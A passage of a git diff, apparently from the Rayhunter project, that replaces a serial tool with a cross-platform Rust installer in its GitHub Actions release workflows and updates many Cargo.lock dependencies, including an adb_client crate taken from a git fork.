diff --git a/.github/workflows/build-release.yml b/.github/workflows/build-release.yml index e9388f3f..90e887b5 100644 --- a/.github/workflows/build-release.yml +++ b/.github/workflows/build-release.yml @@ -8,9 +8,13 @@ on: env: CARGO_TERM_COLOR: always + FILE_ROOTSHELL: ../../rootshell/rootshell + FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon + FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon + jobs: - build_serial_and_check: + build_rayhunter_check: strategy: matrix: platform: @@ -32,18 +36,7 @@ jobs: runs-on: ${{ matrix.platform.os }} steps: - uses: actions/checkout@v4 - - uses: dtolnay/rust-toolchain@stable - with: - targets: ${{ matrix.platform.target }} - - name: Build serial - run: cargo build --bin serial --release --target ${{ matrix.platform.target }} - - uses: actions/upload-artifact@v4 - with: - name: serial-${{ matrix.platform.name }} - path: target/${{ matrix.platform.target }}/release/serial${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }} - if-no-files-found: error - - uses: actions/checkout@v4 - - name: Build check + - name: Build rayhunter-check run: cargo build --bin rayhunter-check --release - uses: actions/upload-artifact@v4 with: @@ -88,19 +81,55 @@ jobs: name: rayhunter-daemon-${{ matrix.device.name }} path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon if-no-files-found: error + build_rust_installer: + needs: + - build_rayhunter + strategy: + matrix: + platform: + - name: ubuntu-24 + os: ubuntu-latest + target: x86_64-unknown-linux-musl + - name: ubuntu-24-aarch64 + os: ubuntu-24.04-arm + target: aarch64-unknown-linux-musl + - name: macos-arm + os: macos-latest + target: aarch64-apple-darwin + - name: macos-intel + os: macos-13 + target: x86_64-apple-darwin + - name: windows-x86_64 + os: windows-latest + target: x86_64-pc-windows-gnu + runs-on: ${{ matrix.platform.os }} + steps: + - uses: actions/checkout@v4 + - uses: actions/download-artifact@v4 + - uses: dtolnay/rust-toolchain@stable + with: + targets: ${{ matrix.platform.target }} + - run: cargo build --bin installer --release --target ${{ matrix.platform.target }} + - uses: actions/upload-artifact@v4 + with: + name: installer-${{ matrix.platform.name }} + path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }} + if-no-files-found: error + build_release_zip: needs: - - build_serial_and_check + - build_rayhunter_check - build_rootshell - build_rayhunter + - build_rust_installer runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/download-artifact@v4 - name: Fix executable permissions on binaries - run: chmod +x serial-*/serial rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon + run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon - name: Setup release directory - run: mv rayhunter-daemon-* rootshell/rootshell serial-* dist + run: mv rayhunter-daemon-* rootshell/rootshell installer-* dist - name: Archive release directory run: tar -cvf release.tar -C dist . # TODO: have this create a release directly diff --git a/.github/workflows/check-and-test.yml b/.github/workflows/check-and-test.yml index a00a8078..1f0d0c44 100644 --- a/.github/workflows/check-and-test.yml +++ b/.github/workflows/check-and-test.yml @@ -8,6 +8,7 @@ on: env: CARGO_TERM_COLOR: always + NO_FIRMWARE_BIN: true jobs: check_and_test: @@ -37,17 +38,17 @@ jobs: - name: Run clippy run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }} - windows_serial_check_and_test: + windows_installer_check_and_test: runs-on: windows-latest steps: - uses: actions/checkout@v3 - name: cargo check shell: bash run: | - cd serial + cd installer cargo check --verbose - name: cargo test shell: bash run: | - cd serial + cd installer cargo test --verbose --no-default-features --features=${{ matrix.device.name }} diff --git a/Cargo.lock b/Cargo.lock index 9d67f4f1..fb949f8e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,6 +2,35 @@ # It is not intended for manual editing. version = 4 +[[package]] +name = "adb_client" +version = "2.1.11" +source = "git+https://github.com/gaykitty/adb_client.git?rev=1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81#1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81" +dependencies = [ + "async-io", + "base64", + "bincode", + "byteorder", + "chrono", + "futures-lite", + "homedir", + "image", + "log", + "mdns-sd", + "num-bigint-dig", + "num-traits", + "nusb", + "rand 0.9.1", + "regex", + "rsa", + "rusb", + "rustls-pki-types", + "serde", + "serde_repr", + "sha1", + "thiserror 2.0.12", +] + [[package]] name = "addr2line" version = "0.21.0" @@ -32,7 +61,7 @@ dependencies = [ "cfg-if", "once_cell", "version_check", - "zerocopy", + "zerocopy 0.7.32", ] [[package]] @@ -44,6 +73,12 @@ dependencies = [ "memchr", ] +[[package]] +name = "aligned-vec" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4aa90d7ce82d4be67b64039a3d588d38dbcc6736577de4a847025ce5b0c468d1" + [[package]] name = "allocator-api2" version = "0.2.16" @@ -81,9 +116,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.6" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" +checksum = "55cc3b69f167a1ef2e161439aa98aed94e6028e5f9a59be9a6ffb47aef1651f9" [[package]] name = "anstyle-parse" @@ -115,9 +150,32 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.97" +version = "1.0.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" + +[[package]] +name = "arbitrary" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dde20b3d026af13f561bdd0f15edf01fc734f0dafcedbaf42bba506a9517f223" + +[[package]] +name = "arg_enum_proc_macro" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcfed56ad506cb2c684a14971b8861fdc3baaaae314b9e5f9bb532cbe3ba7a4f" +checksum = "0ae92a5119aa49cdbcf6b9f893fe4e1d98b04ccbf82ee0584ad948a44a734dea" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "arrayvec" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50" [[package]] name = "asn1-codecs" @@ -140,7 +198,7 @@ dependencies = [ "bitvec", "clap", "env_logger", - "heck", + "heck 0.4.1", "lazy_static", "log", "proc-macro2", @@ -163,6 +221,36 @@ dependencies = [ "syn 1.0.109", ] +[[package]] +name = "async-io" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43a2b323ccce0a1d90b449fd71f2a06ca7faa7c54c2751f06c9bd851fc061059" +dependencies = [ + "async-lock", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix", + "slab", + "tracing", + "windows-sys 0.59.0", +] + +[[package]] +name = "async-lock" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff6e472cdea888a4bd64f342f09b3f50e1886d32afe8df3d663c01140b811b18" +dependencies = [ + "event-listener", + "event-listener-strategy", + "pin-project-lite", +] + [[package]] name = "async-trait" version = "0.1.77" @@ -171,7 +259,7 @@ checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -186,6 +274,29 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" +[[package]] +name = "av1-grain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6678909d8c5d46a42abcf571271e15fdbc0a225e3646cf23762cd415046c78bf" +dependencies = [ + "anyhow", + "arrayvec", + "log", + "nom", + "num-rational", + "v_frame", +] + +[[package]] +name = "avif-serialize" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98922d6a4cfbcb08820c69d8eeccc05bb1f29bfa06b4f5b1dbfe9a868bd7608e" +dependencies = [ + "arrayvec", +] + [[package]] name = "axum" version = "0.8.3" @@ -214,7 +325,7 @@ dependencies = [ "serde_urlencoded", "sync_wrapper", "tokio", - "tower 0.5.2", + "tower", "tower-layer", "tower-service", "tracing", @@ -255,6 +366,33 @@ dependencies = [ "rustc-demangle", ] +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64ct" +version = "1.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89e25b6adfb930f02d1981565a6e5d9c547ac15a96606256d3b59040e5cd4ca3" + +[[package]] +name = "bincode" +version = "1.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" +dependencies = [ + "serde", +] + +[[package]] +name = "bit_field" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc827186963e592360843fb5ba4b973e145841266c1357f7180c43526f2e5b61" + [[package]] name = "bitflags" version = "1.3.2" @@ -267,6 +405,12 @@ version = "2.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" +[[package]] +name = "bitstream-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6099cdc01846bc367c4e7dd630dc5966dccf36b652fae7a74e17b640411a91b2" + [[package]] name = "bitvec" version = "1.0.1" @@ -280,6 +424,21 @@ dependencies = [ "wyz", ] +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "built" +version = "0.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56ed6191a7e78c36abdb16ab65341eefd73d64d303fffccdbb00d51e4205967b" + [[package]] name = "bumpalo" version = "3.15.3" @@ -298,6 +457,12 @@ version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" +[[package]] +name = "byteorder-lite" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f1fe948ff07f4bd06c30984e69f5b4899c516a3ef74f34df92a2df2ab535495" + [[package]] name = "byteorder_slice" version = "3.0.0" @@ -309,15 +474,30 @@ dependencies = [ [[package]] name = "bytes" -version = "1.5.0" +version = "1.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" [[package]] name = "cc" -version = "1.0.86" +version = "1.2.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f9fa1897e4325be0d68d48df6aa1a71ac2ed4d27723887e7754192705350730" +checksum = "8e3a13707ac958681c13b39b458c073d0d9bc8a22cb1b2f4c8e55eb72c13f362" +dependencies = [ + "jobserver", + "libc", + "shlex", +] + +[[package]] +name = "cfg-expr" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d067ad48b8650848b989a59a86c6c36a995d02d2bf778d45c3c5d57bc2718f02" +dependencies = [ + "smallvec", + "target-lexicon", +] [[package]] name = "cfg-if" @@ -333,9 +513,9 @@ checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" [[package]] name = "chrono" -version = "0.4.34" +version = "0.4.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" +checksum = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c" dependencies = [ "android-tzdata", "iana-time-zone", @@ -343,14 +523,14 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets 0.52.3", + "windows-link", ] [[package]] name = "clap" -version = "4.5.2" +version = "4.5.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b230ab84b0ffdf890d5a10abdbc8b83ae1c4918275daea1ab8801f71536b2651" +checksum = "eccb054f56cbd38340b380d4a8e69ef1f02f1af43db2f0cc817a4774d80ae071" dependencies = [ "clap_builder", "clap_derive", @@ -358,9 +538,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.2" +version = "4.5.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae129e2e766ae0ec03484e609954119f123cc1fe650337e155d03b022f24f7b4" +checksum = "efd9466fac8543255d3b1fcad4762c5e116ffe808c8a3043d4263cd4fd4862a2" dependencies = [ "anstream", "anstyle", @@ -370,21 +550,21 @@ dependencies = [ [[package]] name = "clap_derive" -version = "4.5.0" +version = "4.5.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" +checksum = "09176aae279615badda0765c0c0b3f6ed53f4709118af73cf4655d85d1530cd7" dependencies = [ - "heck", + "heck 0.5.0", "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] name = "clap_lex" -version = "0.7.0" +version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" +checksum = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6" [[package]] name = "color_quant" @@ -405,9 +585,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" dependencies = [ "lazy_static", - "windows-sys 0.52.0", + "windows-sys 0.48.0", +] + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", ] +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + [[package]] name = "core-foundation" version = "0.9.4" @@ -424,6 +619,15 @@ version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + [[package]] name = "crc" version = "3.0.1" @@ -448,6 +652,47 @@ dependencies = [ "cfg-if", ] +[[package]] +name = "crossbeam-deque" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crunchy" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43da5946c66ffcc7745f48db692ffbb10a83bfe0afd96235c5c2a4fb23994929" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + [[package]] name = "darling" version = "0.20.11" @@ -469,7 +714,7 @@ dependencies = [ "proc-macro2", "quote", "strsim", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -480,7 +725,7 @@ checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" dependencies = [ "darling_core", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -506,7 +751,18 @@ dependencies = [ "proc-macro-crate", "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", +] + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "pem-rfc7468", + "zeroize", ] [[package]] @@ -529,6 +785,34 @@ dependencies = [ "syn 1.0.109", ] +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + [[package]] name = "env_logger" version = "0.10.2" @@ -558,11 +842,47 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "event-listener" +version = "5.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3492acde4c3fc54c845eaab3eed8bd00c7a7d881f78bfc801e43a93dec1331ae" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "exr" +version = "1.73.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83197f59927b46c04a183a619b7c29df34e63e63c7869320862268c0ef687e0" +dependencies = [ + "bit_field", + "half", + "lebe", + "miniz_oxide 0.8.5", + "rayon-core", + "smallvec", + "zune-inflate", +] + [[package]] name = "fastrand" -version = "2.1.0" +version = "2.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9fc0510504f03c51ada170672ac806f1f105a88aa97a5281117e1ddc3368e51a" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" [[package]] name = "fdeflate" @@ -583,6 +903,17 @@ dependencies = [ "miniz_oxide 0.8.5", ] +[[package]] +name = "flume" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0e4dd2a88388a1f4ccc7c9ce104604dab68d9f408dc34cd45823d5a9069095" +dependencies = [ + "futures-core", + "futures-sink", + "spin", +] + [[package]] name = "fnv" version = "1.0.7" @@ -652,6 +983,19 @@ version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" +[[package]] +name = "futures-lite" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5edaec856126859abb19ed65f39e90fea3a9574b9707f13539acf4abf7eb532" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + [[package]] name = "futures-macro" version = "0.3.30" @@ -660,7 +1004,7 @@ checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -693,6 +1037,39 @@ dependencies = [ "slab", ] +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73fea8450eea4bac3940448fb7ae50d91f034f941199fcd9d909a5a07aa455f0" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi 0.14.2+wasi-0.2.4", +] + [[package]] name = "gif" version = "0.13.1" @@ -709,6 +1086,16 @@ version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" +[[package]] +name = "half" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "459196ed295495a68f7d7fe1d84f6c4b7ff0e21fe3017b2f283c6fac3ad803c9" +dependencies = [ + "cfg-if", + "crunchy", +] + [[package]] name = "hashbrown" version = "0.14.3" @@ -731,12 +1118,36 @@ version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + [[package]] name = "hermit-abi" version = "0.3.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bd5256b483761cd23699d0da46cc6fd2ee3be420bbe6d020ae4a091e70b7e9fd" +[[package]] +name = "hermit-abi" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbf6a919d6cf397374f7dfeeea91d974c7c0a7221d0d0f4f20d859d329e53fcc" + +[[package]] +name = "homedir" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bdbbd5bc8c5749697ccaa352fa45aff8730cf21c68029c0eef1ffed7c3d6ba2" +dependencies = [ + "cfg-if", + "nix", + "widestring", + "windows", +] + [[package]] name = "http" version = "1.0.0" @@ -760,12 +1171,12 @@ dependencies = [ [[package]] name = "http-body-util" -version = "0.1.0" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" dependencies = [ "bytes", - "futures-util", + "futures-core", "http", "http-body", "pin-project-lite", @@ -773,9 +1184,9 @@ dependencies = [ [[package]] name = "httparse" -version = "1.8.0" +version = "1.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" [[package]] name = "httpdate" @@ -791,9 +1202,9 @@ checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" [[package]] name = "hyper" -version = "1.2.0" +version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "186548d73ac615b32a73aafe38fb4f56c0d340e110e5a200bcadbaf2e199263a" +checksum = "cc2b571658e38e0c01b1fdca3bbbe93c00d3d71693ff2770043f8c29bc7d6f80" dependencies = [ "bytes", "futures-channel", @@ -806,24 +1217,27 @@ dependencies = [ "pin-project-lite", "smallvec", "tokio", + "want", ] [[package]] name = "hyper-util" -version = "0.1.3" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca38ef113da30126bbff9cd1705f9273e15d45498615d138b0c20279ac7a76aa" +checksum = "497bbc33a26fdd4af9ed9c70d63f61cf56a938375fbb32df34db9b1cd6d643f2" dependencies = [ "bytes", + "futures-channel", "futures-util", "http", "http-body", "hyper", + "libc", "pin-project-lite", "socket2", "tokio", - "tower 0.4.13", "tower-service", + "tracing", ] [[package]] @@ -837,7 +1251,7 @@ dependencies = [ "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows-core", + "windows-core 0.52.0", ] [[package]] @@ -849,26 +1263,200 @@ dependencies = [ "cc", ] +[[package]] +name = "icu_collections" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locid" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_locid_transform" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_locid_transform_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_locid_transform_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7515e6d781098bf9f7205ab3fc7e9709d34554ae0b21ddbcb5febfa4bc7df11d" + +[[package]] +name = "icu_normalizer" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "utf16_iter", + "utf8_iter", + "write16", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5e8338228bdc8ab83303f16b797e177953730f601a96c25d10cb3ab0daa0cb7" + +[[package]] +name = "icu_properties" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93d6020766cfc6302c15dbbc9c8778c37e62c14427cb7f6e601d849e092aeef5" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locid_transform", + "icu_properties_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85fb8799753b75aee8d2a21d7c14d9f38921b54b3dbda10f5a3c7a7b82dba5e2" + +[[package]] +name = "icu_provider" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_provider_macros", + "stable_deref_trait", + "tinystr", + "writeable", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_provider_macros" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + [[package]] name = "ident_case" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" +[[package]] +name = "idna" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daca1df1c957320b2cf139ac61e7bd64fed304c5040df000a745aa1de3b4ef71" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "if-addrs" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69b2eeee38fef3aa9b4cc5f1beea8a2444fc00e7377cafae396de3f5c2065e24" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + [[package]] name = "image" -version = "0.25.1" +version = "0.25.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd54d660e773627692c524beaad361aca785a4f9f5730ce91f42aabe5bce3d11" +checksum = "db35664ce6b9810857a38a906215e75a9c879f0696556a39f59c62829710251a" dependencies = [ "bytemuck", - "byteorder", + "byteorder-lite", "color_quant", + "exr", "gif", + "image-webp", "num-traits", "png", + "qoi", + "ravif", + "rayon", + "rgb", + "tiff", + "zune-core", + "zune-jpeg", +] + +[[package]] +name = "image-webp" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b77d01e822461baa8409e156015a1d91735549f0f2c17691bd2d996bef238f7f" +dependencies = [ + "byteorder-lite", + 